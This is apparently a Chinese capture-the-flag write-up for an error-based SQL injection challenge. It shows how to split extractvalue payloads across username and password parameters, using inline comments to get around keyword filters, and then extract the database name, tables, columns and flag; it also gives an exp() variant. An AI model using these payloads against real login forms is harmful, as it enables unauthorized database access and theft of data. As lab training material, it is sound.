sql注入、报错注入、HPF


加了料的报错注入

题目地址

思路复现

题目界面文字提示我们post提交username、password。提交username=1&password=1后返回登录失败,两变量分别加'后都返回数据库报错信息,说明都可注入且单引号没有被过滤。查看页面源码由注释提示知,后台验证的sql语句:

select * from users where username='$username' and password='$password'

于是提交username=1'or'1&password=1'or'1返回You are our member, welcome to enter.但这对我们没什么用。考虑报错注入或盲注,测试过滤规则发现# --注释符被过滤() ,在username中被过滤,extractvalue updatexml这些报错函数在password中被过滤。所以要使用报错注入,函数必须写在username中括号逗号写在password中,然后用/**/注释掉sql语句中的and password='

提交

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select database()))) or'1

成功输出数据库名<br>XPATH syntax error: '\error_based_hpf'这里也可以看出出题人本意也是让我们使用hpf http行内注释。然后依次:

表名:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()))) or '1

列名:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name regexp ffll44jj))) or '1

值:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select * from ffll44jj))) or'1

可得flag,但是查字段名时遇到了CBC字节翻转那题中同样的问题,报数据库某目录内存不够的错,但可以直接查 * 得字段值。然后查看其他wp,并没有发现类似问题,所以姑且认为是服务器问题?这个问题没有解决但在看别人得wp时发现其他解法。

函数exp()的报错可以注入,但password没有过滤这个函数。

username=1&password=1' or exp(~(select * from ffll44jj)) or '1

关于盲注

由于本题中mid,substr等字符串截取函数均被过滤。所以采用正则表达式匹配,用!<>代替=用regexp ^逐一匹配字符串。盲注详细脚本这里不再多说。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Web...
    潘良虎阅读 3,959评论 3 72
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,009评论 19 139
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 713评论 0 3
  • 一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...
    ffx_01阅读 1,791评论 0 0
  • 最近有一件事在困扰着我,因为我要完成一个之前从来没有完成过的任务,就是说服我的父母。在进行第一次尝试之后,很显然我...
    凡云1623阅读 1,585评论 4 9